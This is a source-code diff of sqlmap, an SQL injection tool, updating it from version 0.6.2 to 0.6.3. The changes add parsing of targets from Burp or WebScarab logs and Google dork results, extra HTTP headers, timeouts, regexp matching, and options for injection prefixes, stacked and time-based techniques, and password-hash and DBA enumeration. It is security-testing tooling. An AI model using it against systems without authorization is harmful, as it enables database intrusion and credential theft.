|
||||
|
||||
if not conf.googleDork:
|
||||
if not conf.multipleTargets:
|
||||
dumpDbPath = "%s%s%s" % (conf.dumpPath, os.sep, db)
|
||||
|
||||
if not os.path.isdir(dumpDbPath):
|
||||
@@ -259,7 +259,7 @@ class Dump:
|
||||
blank = " " * (maxlength - len(column))
|
||||
self.__write("| %s%s" % (column, blank), n=False)
|
||||
|
||||
if not conf.googleDork and field == fields:
|
||||
if not conf.multipleTargets and field == fields:
|
||||
dataToDumpFile(dumpFP, "\"%s\"" % column)
|
||||
else:
|
||||
dataToDumpFile(dumpFP, "\"%s\"," % column)
|
||||
@@ -267,7 +267,7 @@ class Dump:
|
||||
field += 1
|
||||
|
||||
self.__write("|\n%s" % separator)
|
||||
if not conf.googleDork:
|
||||
if not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
for i in range(count):
|
||||
@@ -293,12 +293,12 @@ class Dump:
|
||||
field += 1
|
||||
|
||||
self.__write("|")
|
||||
if not conf.googleDork:
|
||||
if not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
|
||||
self.__write("%s\n" % separator)
|
||||
|
||||
if not conf.googleDork:
|
||||
if not conf.multipleTargets:
|
||||
dataToDumpFile(dumpFP, "\n")
|
||||
dumpFP.close()
|
||||
|
||||
|
||||
@@ -74,6 +74,10 @@ class sqlmapNotVulnerableException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapThreadException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class sqlmapUnsupportedDBMSException(Exception):
|
||||
pass
|
||||
|
||||
@@ -89,8 +93,8 @@ class sqlmapValueException(Exception):
|
||||
def unhandledException():
|
||||
errMsg = "unhandled exception in %s, please copy " % VERSION_STRING
|
||||
errMsg += "the command line and the following text and send by e-mail "
|
||||
errMsg += "to bernardo.damele@gmail.com. I will fix it as soon as "
|
||||
errMsg += "possible:\nsqlmap version: %s\n" % VERSION
|
||||
errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will "
|
||||
errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION
|
||||
errMsg += "Python version: %s\n" % sys.version.split()[0]
|
||||
errMsg += "Operating system: %s" % sys.platform
|
||||
return errMsg
|
||||
@@ -108,6 +112,7 @@ exceptionsTuple = (
|
||||
sqlmapUndefinedMethod,
|
||||
sqlmapMissingPrivileges,
|
||||
sqlmapNotVulnerableException,
|
||||
sqlmapThreadException,
|
||||
sqlmapUnsupportedDBMSException,
|
||||
sqlmapUnsupportedFeatureException,
|
||||
sqlmapValueException,
|
||||
|
||||
@@ -28,6 +28,7 @@ import cookielib
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
@@ -81,6 +82,114 @@ def __urllib2Opener():
|
||||
urllib2.install_opener(opener)
|
||||
|
||||
|
||||
def __feedTargetsDict(reqFile, addedTargetUrls):
|
||||
fp = open(reqFile, "r")
|
||||
|
||||
fread = fp.read()
|
||||
fread = fread.replace("\r", "")
|
||||
|
||||
reqResList = fread.split("======================================================")
|
||||
|
||||
for request in reqResList:
|
||||
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
|
||||
continue
|
||||
|
||||
if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
|
||||
continue
|
||||
|
||||
getPostReq = False
|
||||
url = None
|
||||
host = None
|
||||
method = None
|
||||
data = None
|
||||
cookie = None
|
||||
params = False
|
||||
lines = request.split("\n")
|
||||
|
||||
for line in lines:
|
||||
if len(line) == 0 or line == "\n":
|
||||
continue
|
||||
|
||||
if line.startswith("GET ") or line.startswith("POST "):
|
||||
if line.startswith("GET "):
|
||||
index = 4
|
||||
else:
|
||||
index = 5
|
||||
|
||||
url = line[index:line.index(" HTTP/")]
|
||||
method = line[:index-1]
|
||||
|
||||
if "?" in line and "=" in line:
|
||||
params = True
|
||||
|
||||
getPostReq = True
|
||||
|
||||
elif "?" in line and "=" in line and ": " not in line:
|
||||
data = line
|
||||
params = True
|
||||
|
||||
elif ": " in line:
|
||||
key, value = line.split(": ", 1)
|
||||
|
||||
if key.lower() == "cookie":
|
||||
cookie = value
|
||||
elif key.lower() == "host":
|
||||
host = value
|
||||
|
||||
if getPostReq and params:
|
||||
if not url.startswith("http"):
|
||||
url = "http://%s%s" % (host, url)
|
||||
|
||||
if not kb.targetUrls or url not in addedTargetUrls:
|
||||
kb.targetUrls.add(( url, method, data, cookie ))
|
||||
addedTargetUrls.add(url)
|
||||
|
||||
|
||||
def __setMultipleTargets():
|
||||
"""
|
||||
Define a configuration parameter if we are running in multiple target
|
||||
mode.
|
||||
"""
|
||||
|
||||
initialTargetsCount = len(kb.targetUrls)
|
||||
addedTargetUrls = set()
|
||||
|
||||
if not conf.list:
|
||||
return
|
||||
|
||||
debugMsg = "parsing targets list from '%s'" % conf.list
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not os.path.exists(conf.list):
|
||||
errMsg = "the specified list of targets does not exist"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
if os.path.isfile(conf.list):
|
||||
__feedTargetsDict(conf.list, addedTargetUrls)
|
||||
|
||||
elif os.path.isdir(conf.list):
|
||||
files = os.listdir(conf.list)
|
||||
files.sort()
|
||||
|
||||
for reqFile in files:
|
||||
if not re.search("([\d]+)\-request", reqFile):
|
||||
continue
|
||||
|
||||
__feedTargetsDict(os.path.join(conf.list, reqFile), addedTargetUrls)
|
||||
|
||||
else:
|
||||
errMsg = "the specified list of targets is not a file "
|
||||
errMsg += "nor a directory"
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
updatedTargetsCount = len(kb.targetUrls)
|
||||
|
||||
if updatedTargetsCount > initialTargetsCount:
|
||||
infoMsg = "sqlmap parsed %d " % (updatedTargetsCount - initialTargetsCount)
|
||||
infoMsg += "testable requests from the targets list"
|
||||
logger.info(infoMsg)
|
||||
|
||||
|
||||
def __setGoogleDorking():
|
||||
"""
|
||||
This function checks if the way to request testable hosts is through
|
||||
@@ -109,7 +218,7 @@ def __setGoogleDorking():
|
||||
errMsg += "Google dork expression"
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
kb.targetUrls = googleObj.getTargetUrls()
|
||||
googleObj.getTargetUrls()
|
||||
|
||||
if kb.targetUrls:
|
||||
logMsg = "sqlmap got %d results for your " % len(matches)
|
||||
@@ -120,7 +229,7 @@ def __setGoogleDorking():
|
||||
else:
|
||||
logMsg += "%d " % len(kb.targetUrls)
|
||||
|
||||
logMsg += "of them are testable hosts"
|
||||
logMsg += "of them are testable targets"
|
||||
logger.info(logMsg)
|
||||
else:
|
||||
errMsg = "sqlmap got %d results " % len(matches)
|
||||
@@ -129,9 +238,9 @@ def __setGoogleDorking():
|
||||
raise sqlmapGenericException, errMsg
|
||||
|
||||
|
||||
def __setRemoteDBMS():
|
||||
def __setDBMS():
|
||||
"""
|
||||
Checks and set the back-end DBMS option.
|
||||
Force the back-end DBMS option.
|
||||
"""
|
||||
|
||||
if not conf.dbms:
|
||||
@@ -159,7 +268,7 @@ def __setRemoteDBMS():
|
||||
|
||||
|
||||
def __setThreads():
|
||||
if conf.threads <= 0:
|
||||
if not isinstance(conf.threads, int) or conf.threads <= 0:
|
||||
conf.threads = 1
|
||||
|
||||
|
||||
@@ -262,9 +371,6 @@ def __setHTTPMethod():
|
||||
"""
|
||||
|
||||
if conf.method:
|
||||
debugMsg = "setting the HTTP method to perform HTTP requests through"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.method = conf.method.upper()
|
||||
|
||||
if conf.method not in ("GET", "POST"):
|
||||
@@ -277,6 +383,28 @@ def __setHTTPMethod():
|
||||
else:
|
||||
conf.method = "GET"
|
||||
|
||||
debugMsg = "setting the HTTP method to %s" % conf.method
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def __setHTTPExtraHeaders():
|
||||
if conf.headers:
|
||||
debugMsg = "setting extra HTTP headers"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.headers = conf.headers.split("\n")
|
||||
|
||||
for headerValue in conf.headers:
|
||||
header, value = headerValue.split(": ")
|
||||
|
||||
if header and value:
|
||||
conf.httpHeaders.append((header, value))
|
||||
|
||||
else:
|
||||
conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
|
||||
conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
|
||||
conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
|
||||
|
||||
|
||||
def __defaultHTTPUserAgent():
|
||||
"""
|
||||
@@ -376,6 +504,29 @@ def __setHTTPCookies():
|
||||
conf.httpHeaders.append(("Cookie", conf.cookie))
|
||||
|
||||
|
||||
def __setHTTPTimeout():
|
||||
"""
|
||||
Set the HTTP timeout
|
||||
"""
|
||||
|
||||
if conf.timeout:
|
||||
debugMsg = "setting the HTTP timeout"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.timeout = float(conf.timeout)
|
||||
|
||||
if conf.timeout < 3.0:
|
||||
warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap "
|
||||
warnMsg += "will going to reset it"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
conf.timeout = 3.0
|
||||
else:
|
||||
conf.timeout = 10.0
|
||||
|
||||
socket.setdefaulttimeout(conf.timeout)
|
||||
|
||||
|
||||
def __cleanupOptions():
|
||||
"""
|
||||
Cleanup configuration attributes.
|
||||
@@ -402,6 +553,12 @@ def __cleanupOptions():
|
||||
if conf.user:
|
||||
conf.user = conf.user.replace(" ", "")
|
||||
|
||||
if conf.delay:
|
||||
conf.delay = float(conf.delay)
|
||||
|
||||
if conf.googleDork or conf.list:
|
||||
conf.multipleTargets = True
|
||||
|
||||
|
||||
def __setConfAttributes():
|
||||
"""
|
||||
@@ -413,19 +570,25 @@ def __setConfAttributes():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
conf.cj = None
|
||||
conf.contentLengths = []
|
||||
conf.dbmsHandler = None
|
||||
conf.dumpPath = None
|
||||
conf.equalLines = []
|
||||
conf.httpHeaders = []
|
||||
conf.hostname = None
|
||||
conf.loggedToOut = None
|
||||
conf.multipleTargets = False
|
||||
conf.outputPath = None
|
||||
conf.paramDict = {}
|
||||
conf.parameters = {}
|
||||
conf.paramNegative = False
|
||||
conf.path = None
|
||||
conf.port = None
|
||||
conf.retries = 0
|
||||
conf.scheme = None
|
||||
conf.sessionFP = None
|
||||
conf.start = True
|
||||
conf.threadException = False
|
||||
|
||||
|
||||
def __setKnowledgeBaseAttributes():
|
||||
@@ -443,13 +606,18 @@ def __setKnowledgeBaseAttributes():
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
kb.dbmsVersion = None
|
||||
kb.bannerFp = {}
|
||||
kb.headersCount = 0
|
||||
kb.headersFp = {}
|
||||
kb.htmlFp = []
|
||||
kb.injParameter = None
|
||||
kb.injPlace = None
|
||||
kb.injType = None
|
||||
kb.parenthesis = None
|
||||
kb.resumedQueries = {}
|
||||
kb.stackedTest = None
|
||||
kb.targetUrls = set()
|
||||
kb.timeTest = None
|
||||
kb.unionComment = ""
|
||||
kb.unionCount = None
|
||||
kb.unionPosition = None
|
||||
@@ -488,14 +656,19 @@ def __saveCmdline():
|
||||
if value == None:
|
||||
if datatype == "boolean":
|
||||
value = "False"
|
||||
elif datatype == "integer":
|
||||
if option == "threads":
|
||||
elif datatype in ( "integer", "float" ):
|
||||
if option in ( "threads", "verbose" ):
|
||||
value = "1"
|
||||
elif option == "timeout":
|
||||
value = "10"
|
||||
else:
|
||||
value = "0"
|
||||
elif datatype == "string":
|
||||
value = ""
|
||||
|
||||
if isinstance(value, str):
|
||||
value = value.replace("\n", "\n ")
|
||||
|
||||
confFP.write("%s = %s\n" % (option, value))
|
||||
|
||||
confFP.write("\n")
|
||||
@@ -512,13 +685,12 @@ def __setVerbosity():
|
||||
This function set the verbosity of sqlmap output messages.
|
||||
"""
|
||||
|
||||
if not conf.verbose:
|
||||
conf.verbose = 0
|
||||
return
|
||||
if conf.verbose == None:
|
||||
conf.verbose = 1
|
||||
|
||||
conf.verbose = int(conf.verbose)
|
||||
|
||||
if conf.verbose <= 1:
|
||||
if conf.verbose == 1:
|
||||
logger.setLevel(logging.INFO)
|
||||
elif conf.verbose > 1 and conf.eta:
|
||||
conf.verbose = 1
|
||||
@@ -559,15 +731,18 @@ def init(inputOptions=advancedDict()):
|
||||
__setConfAttributes()
|
||||
__setKnowledgeBaseAttributes()
|
||||
__cleanupOptions()
|
||||
__setHTTPTimeout()
|
||||
__setHTTPCookies()
|
||||
__setHTTPReferer()
|
||||
__setHTTPUserAgent()
|
||||
__setHTTPExtraHeaders()
|
||||
__setHTTPMethod()
|
||||
__setHTTPAuthentication()
|
||||
__setHTTPProxy()
|
||||
__setThreads()
|
||||
__setRemoteDBMS()
|
||||
__setDBMS()
|
||||
__setGoogleDorking()
|
||||
__setMultipleTargets()
|
||||
__urllib2Opener()
|
||||
|
||||
update()
|
||||
|
||||
@@ -25,26 +25,45 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
optDict = {
|
||||
# Family: { "parameter_name": "parameter_datatype",
|
||||
"Request": {
|
||||
# Family: { "parameter_name": "parameter_datatype" },
|
||||
"Target": {
|
||||
"url": "string",
|
||||
"list": "string",
|
||||
"googleDork": "string",
|
||||
"testParameter": "string",
|
||||
},
|
||||
|
||||
"Request": {
|
||||
"method": "string",
|
||||
"data": "string",
|
||||
"cookie": "string",
|
||||
"referer": "string",
|
||||
"agent": "string",
|
||||
"userAgentsFile": "string",
|
||||
"headers": "string",
|
||||
"aType": "string",
|
||||
"aCred": "string",
|
||||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
"delay": "float",
|
||||
"timeout": "float",
|
||||
},
|
||||
|
||||
"Injection": {
|
||||
"string": "string",
|
||||
"testParameter": "string",
|
||||
"dbms": "string",
|
||||
"prefix": "string",
|
||||
"postfix": "string",
|
||||
"string": "string",
|
||||
"regexp": "string",
|
||||
"eString": "string",
|
||||
"eRegexp": "string",
|
||||
},
|
||||
|
||||
"Techniques": {
|
||||
"stackedTest": "boolean",
|
||||
"timeTest": "boolean",
|
||||
"unionTest": "boolean",
|
||||
"unionUse": "boolean",
|
||||
},
|
||||
|
||||
"Fingerprint": {
|
||||
@@ -55,6 +74,7 @@ optDict = {
|
||||
"getBanner": "boolean",
|
||||
"getCurrentUser": "boolean",
|
||||
"getCurrentDb": "boolean",
|
||||
"isDba": "boolean",
|
||||
"getUsers": "boolean",
|
||||
"getPasswordHashes": "boolean",
|
||||
"getPrivileges": "boolean",
|
||||
@@ -84,8 +104,6 @@ optDict = {
|
||||
},
|
||||
|
||||
"Miscellaneous": {
|
||||
"unionTest": "boolean",
|
||||
"unionUse": "boolean",
|
||||
"eta": "boolean",
|
||||
"verbose": "integer",
|
||||
"updateAll": "boolean",
|
||||
|
||||
@@ -35,9 +35,9 @@ class ProgressBar:
|
||||
def __init__(self, minValue=0, maxValue=10, totalWidth=54):
|
||||
self.__progBar = "[]"
|
||||
self.__oldProgBar = ""
|
||||
self.__min = minValue
|
||||
self.__max = maxValue
|
||||
self.__span = maxValue - minValue
|
||||
self.__min = int(minValue)
|
||||
self.__max = int(maxValue)
|
||||
self.__span = self.__max - self.__min
|
||||
self.__width = totalWidth
|
||||
self.__amount = 0
|
||||
self.update()
|
||||
|
||||
@@ -48,6 +48,20 @@ def setString():
|
||||
dataToSessionFile("[%s][None][None][String][%s]\n" % (conf.url, conf.string))
|
||||
|
||||
|
||||
def setRegexp():
|
||||
"""
|
||||
Save regular expression to match in session file.
|
||||
"""
|
||||
|
||||
condition = (
|
||||
not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and
|
||||
not kb.resumedQueries[conf.url].has_key("Regular expression") )
|
||||
)
|
||||
|
||||
if condition:
|
||||
dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp))
|
||||
|
||||
|
||||
def setInjection():
|
||||
"""
|
||||
Save information retrieved about injection place and parameter in the
|
||||
@@ -178,6 +192,28 @@ def resumeConfKb(expression, url, value):
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
conf.string = string
|
||||
|
||||
elif expression == "Regular expression" and url == conf.url:
|
||||
regexp = value[:-1]
|
||||
|
||||
logMsg = "resuming regular expression match '%s' from session file" % regexp
|
||||
logger.info(logMsg)
|
||||
|
||||
if regexp and ( not conf.regexp or regexp != conf.regexp ):
|
||||
if not conf.regexp:
|
||||
message = "you did not provide any regular expression "
|
||||
message += "to match. "
|
||||
else:
|
||||
message = "The regular expression you provided does not "
|
||||
message += "match the resumed regular expression. "
|
||||
|
||||
message += "Do you want to use the resumed regular expression "
|
||||
message += "to be matched in page when the query "
|
||||
message += "is valid? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
conf.regexp = regexp
|
||||
|
||||
elif expression == "Injection point" and url == conf.url:
|
||||
injPlace = value[:-1]
|
||||
|
||||
|
||||
@@ -30,7 +30,7 @@ import sys
|
||||
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.6.2"
|
||||
VERSION = "0.6.3"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
@@ -56,7 +56,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
MYSQL_ALIASES = [ "mysql", "my" ]
|
||||
@@ -64,3 +64,7 @@ PGSQL_ALIASES = [ "postgresql", "postgres", "pgsql", "psql", "pg" ]
|
||||
ORACLE_ALIASES = [ "oracle", "orcl", "ora", "or" ]
|
||||
|
||||
SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES
|
||||
|
||||
# TODO: port to command line/configuration file options?
|
||||
SECONDS = 5
|
||||
RETRIES = 3
|
||||
|
||||
@@ -54,6 +54,8 @@ def queriesForAutoCompletion():
|
||||
autoComplQuery = query
|
||||
elif isinstance(query, dict) and "inband" in query:
|
||||
autoComplQuery = query["inband"]["query"]
|
||||
else:
|
||||
continue
|
||||
|
||||
autoComplQueries[autoComplQuery] = None
|
||||
|
||||
|
||||
@@ -77,7 +77,9 @@ def __setRequestParams():
|
||||
|
||||
# Perform checks on Cookie parameters
|
||||
if conf.cookie:
|
||||
urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
||||
# TODO: sure about decoding the cookie?
|
||||
#urlDecodedCookie = urldecode(conf.cookie).replace("%", "%%")
|
||||
urlDecodedCookie = conf.cookie.replace("%", "%%")
|
||||
conf.parameters["Cookie"] = urlDecodedCookie
|
||||
__paramDict = paramToDict("Cookie", urlDecodedCookie)
|
||||
|
||||
@@ -197,6 +199,20 @@ def initTargetEnv():
|
||||
Initialize target environment.
|
||||
"""
|
||||
|
||||
if conf.multipleTargets:
|
||||
conf.paramDict = {}
|
||||
conf.parameters = {}
|
||||
kb.dbms = None
|
||||
kb.dbmsDetected = False
|
||||
kb.dbmsVersion = None
|
||||
kb.injParameter = None
|
||||
kb.injPlace = None
|
||||
kb.injType = None
|
||||
kb.parenthesis = None
|
||||
kb.unionComment = ""
|
||||
kb.unionCount = None
|
||||
kb.unionPosition = None
|
||||
|
||||
parseTargetUrl()
|
||||
__setRequestParams()
|
||||
__setOutputResume()
|
||||
|
||||
@@ -53,7 +53,7 @@ def __updateMSSQLXML():
|
||||
logger.info(infoMsg)
|
||||
|
||||
try:
|
||||
mssqlVersionsHtmlString = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
|
||||
mssqlVersionsHtmlString, _ = Request.getPage(url=MSSQL_VERSIONS_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
|
||||
__mssqlHostname = __mssqlPath[1]
|
||||
@@ -231,7 +231,7 @@ def __updateSqlmap():
|
||||
logger.debug(debugMsg)
|
||||
|
||||
try:
|
||||
sqlmapNewestVersion = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
|
||||
sqlmapNewestVersion, _ = Request.getPage(url=SQLMAP_VERSION_URL, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(SQLMAP_VERSION_URL)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
@@ -243,7 +243,6 @@ def __updateSqlmap():
|
||||
return
|
||||
|
||||
sqlmapNewestVersion = str(sqlmapNewestVersion).replace("\n", "")
|
||||
sqlmapNewestVersion = "0.6.1"
|
||||
|
||||
if not re.search("^([\w\.\-]+)$", sqlmapNewestVersion):
|
||||
errMsg = "sqlmap version is in a wrong syntax"
|
||||
@@ -272,7 +271,7 @@ def __updateSqlmap():
|
||||
sqlmapBinaryStringUrl = SQLMAP_SOURCE_URL % sqlmapNewestVersion
|
||||
|
||||
try:
|
||||
sqlmapBinaryString = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
|
||||
sqlmapBinaryString, _ = Request.getPage(url=sqlmapBinaryStringUrl, direct=True)
|
||||
except sqlmapConnectionException, _:
|
||||
__sqlmapPath = urlparse.urlsplit(sqlmapBinaryStringUrl)
|
||||
__sqlmapHostname = __sqlmapPath[1]
|
||||
|
||||
@@ -31,19 +31,20 @@ from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.handler import FingerprintHandler
|
||||
|
||||
|
||||
class bannerHandler(ContentHandler):
|
||||
class MSSQLBannerHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse and extract information from
|
||||
the given DBMS banner based upon the data in XML file
|
||||
This class defines methods to parse and extract information from the
|
||||
given Microsoft SQL Server banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
def __init__(self, banner):
|
||||
self.__banner = sanitizeStr(banner)
|
||||
self.release = None
|
||||
self.version = None
|
||||
self.servicePack = None
|
||||
|
||||
self.__inVersion = False
|
||||
self.__inServicePack = False
|
||||
self.__release = None
|
||||
@@ -51,6 +52,15 @@ class bannerHandler(ContentHandler):
|
||||
self.__servicePack = ""
|
||||
|
||||
|
||||
def __feedInfo(self, key, value):
|
||||
value = sanitizeStr(value)
|
||||
|
||||
if value in ( None, "None" ):
|
||||
return
|
||||
|
||||
kb.bannerFp[key] = value
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "signatures":
|
||||
self.__release = sanitizeStr(attrs.get("release"))
|
||||
@@ -72,9 +82,9 @@ class bannerHandler(ContentHandler):
|
||||
def endElement(self, name):
|
||||
if name == "signature":
|
||||
if re.search(" %s[\.\ ]+" % self.__version, self.__banner):
|
||||
self.release = self.__release
|
||||
self.version = self.__version
|
||||
self.servicePack = self.__servicePack
|
||||
self.__feedInfo("dbmsRelease", self.__release)
|
||||
self.__feedInfo("dbmsVersion", self.__version)
|
||||
self.__feedInfo("dbmsServicePack", self.__servicePack)
|
||||
|
||||
self.__version = ""
|
||||
self.__servicePack = ""
|
||||
@@ -89,16 +99,30 @@ class bannerHandler(ContentHandler):
|
||||
self.__servicePack = self.__servicePack.replace(" ", "")
|
||||
|
||||
|
||||
|
||||
def bannerParser(banner, xmlfile):
|
||||
def bannerParser(banner):
|
||||
"""
|
||||
This function calls a class to extract information from the given
|
||||
DBMS banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
xmlfile = paths.MSSQL_XML
|
||||
elif kb.dbms == "MySQL":
|
||||
xmlfile = paths.MYSQL_XML
|
||||
elif kb.dbms == "Oracle":
|
||||
xmlfile = paths.ORACLE_XML
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
xmlfile = paths.PGSQL_XML
|
||||
|
||||
checkFile(xmlfile)
|
||||
banner = sanitizeStr(banner)
|
||||
handler = bannerHandler(banner)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
handler = MSSQLBannerHandler(banner)
|
||||
parse(xmlfile, handler)
|
||||
|
||||
return handler.release, handler.version, handler.servicePack
|
||||
handler = FingerprintHandler(banner, kb.bannerFp)
|
||||
parse(paths.GENERIC_XML, handler)
|
||||
else:
|
||||
handler = FingerprintHandler(banner, kb.bannerFp)
|
||||
parse(xmlfile, handler)
|
||||
parse(paths.GENERIC_XML, handler)
|
||||
|
||||
@@ -24,6 +24,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import sys
|
||||
|
||||
from optparse import OptionError
|
||||
from optparse import OptionGroup
|
||||
from optparse import OptionParser
|
||||
@@ -37,23 +39,33 @@ def cmdLineParser():
|
||||
This function parses the command line parameters and arguments
|
||||
"""
|
||||
|
||||
usage = "sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file>}"
|
||||
usage = "%s [options]" % sys.argv[0]
|
||||
parser = OptionParser(usage=usage, version=VERSION_STRING)
|
||||
|
||||
try:
|
||||
# Request options
|
||||
request = OptionGroup(parser, "Request", "These options have to "
|
||||
"be specified to set the target url, HTTP "
|
||||
"method, how to connect to the target url "
|
||||
"or Google dorking results in general.")
|
||||
parser.add_option("-v", dest="verbose", type="int",
|
||||
help="Verbosity level: 0-5 (default 1)")
|
||||
|
||||
request.add_option("-u", "--url", dest="url", help="Target url")
|
||||
# Target options
|
||||
target = OptionGroup(parser, "Target", "At least one of these "
|
||||
"options has to be specified to set the source "
|
||||
"to get target urls from.")
|
||||
|
||||
request.add_option("-g", dest="googleDork",
|
||||
target.add_option("-u", "--url", dest="url", help="Target url")
|
||||
|
||||
target.add_option("-l", dest="list", help="Parse targets from Burp "
|
||||
"or WebScarab logs")
|
||||
|
||||
target.add_option("-g", dest="googleDork",
|
||||
help="Process Google dork results as target urls")
|
||||
|
||||
request.add_option("-p", dest="testParameter",
|
||||
help="Testable parameter(s)")
|
||||
target.add_option("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
|
||||
# Request options
|
||||
request = OptionGroup(parser, "Request", "These options can be used "
|
||||
"to specify how to connect to the target url.")
|
||||
|
||||
request.add_option("--method", dest="method", default="GET",
|
||||
help="HTTP method, GET or POST (default: GET)")
|
||||
@@ -74,6 +86,9 @@ def cmdLineParser():
|
||||
help="Load a random HTTP User-Agent "
|
||||
"header from file")
|
||||
|
||||
request.add_option("--headers", dest="headers",
|
||||
help="Extra HTTP headers '\\n' separated")
|
||||
|
||||
request.add_option("--auth-type", dest="aType",
|
||||
help="HTTP Authentication type, value: "
|
||||
"Basic or Digest")
|
||||
@@ -89,22 +104,85 @@ def cmdLineParser():
|
||||
help="Maximum number of concurrent HTTP "
|
||||
"requests (default 1)")
|
||||
|
||||
request.add_option("--delay", dest="delay", type="float",
|
||||
help="Delay in seconds between each HTTP request")
|
||||
|
||||
request.add_option("--timeout", dest="timeout", type="float",
|
||||
help="Seconds to wait before timeout connection "
|
||||
"(default 10)")
|
||||
|
||||
|
||||
# Injection options
|
||||
injection = OptionGroup(parser, "Injection")
|
||||
injection = OptionGroup(parser, "Injection", "These options can be "
|
||||
"used to specify which parameters to test "
|
||||
"for, provide custom injection payloads and "
|
||||
"how to parse and compare HTTP responses "
|
||||
"page content when using the blind SQL "
|
||||
"injection technique.")
|
||||
|
||||
injection.add_option("-p", dest="testParameter",
|
||||
help="Testable parameter(s)")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
|
||||
injection.add_option("--prefix", dest="prefix",
|
||||
help="Injection payload prefix string")
|
||||
|
||||
injection.add_option("--postfix", dest="postfix",
|
||||
help="Injection payload postfix string")
|
||||
|
||||
injection.add_option("--string", dest="string",
|
||||
help="String to match in page when the "
|
||||
"query is valid")
|
||||
|
||||
injection.add_option("--dbms", dest="dbms",
|
||||
help="Force back-end DBMS to this value")
|
||||
injection.add_option("--regexp", dest="regexp",
|
||||
help="Regexp to match in page when the "
|
||||
"query is valid")
|
||||
|
||||
injection.add_option("--excl-str", dest="eString",
|
||||
help="String to be excluded before calculating "
|
||||
"page hash")
|
||||
|
||||
injection.add_option("--excl-reg", dest="eRegexp",
|
||||
help="Regexp matches to be excluded before "
|
||||
"calculating page hash")
|
||||
|
||||
|
||||
# Techniques options
|
||||
techniques = OptionGroup(parser, "Techniques", "These options can "
|
||||
"be used to test for specific SQL injection "
|
||||
"technique or to use one of them to exploit "
|
||||
"the affected parameter(s) rather than using "
|
||||
"the default blind SQL injection technique.")
|
||||
|
||||
techniques.add_option("--stacked-test", dest="stackedTest",
|
||||
action="store_true",
|
||||
help="Test for stacked queries (multiple "
|
||||
"statements) support")
|
||||
|
||||
techniques.add_option("--time-test", dest="timeTest",
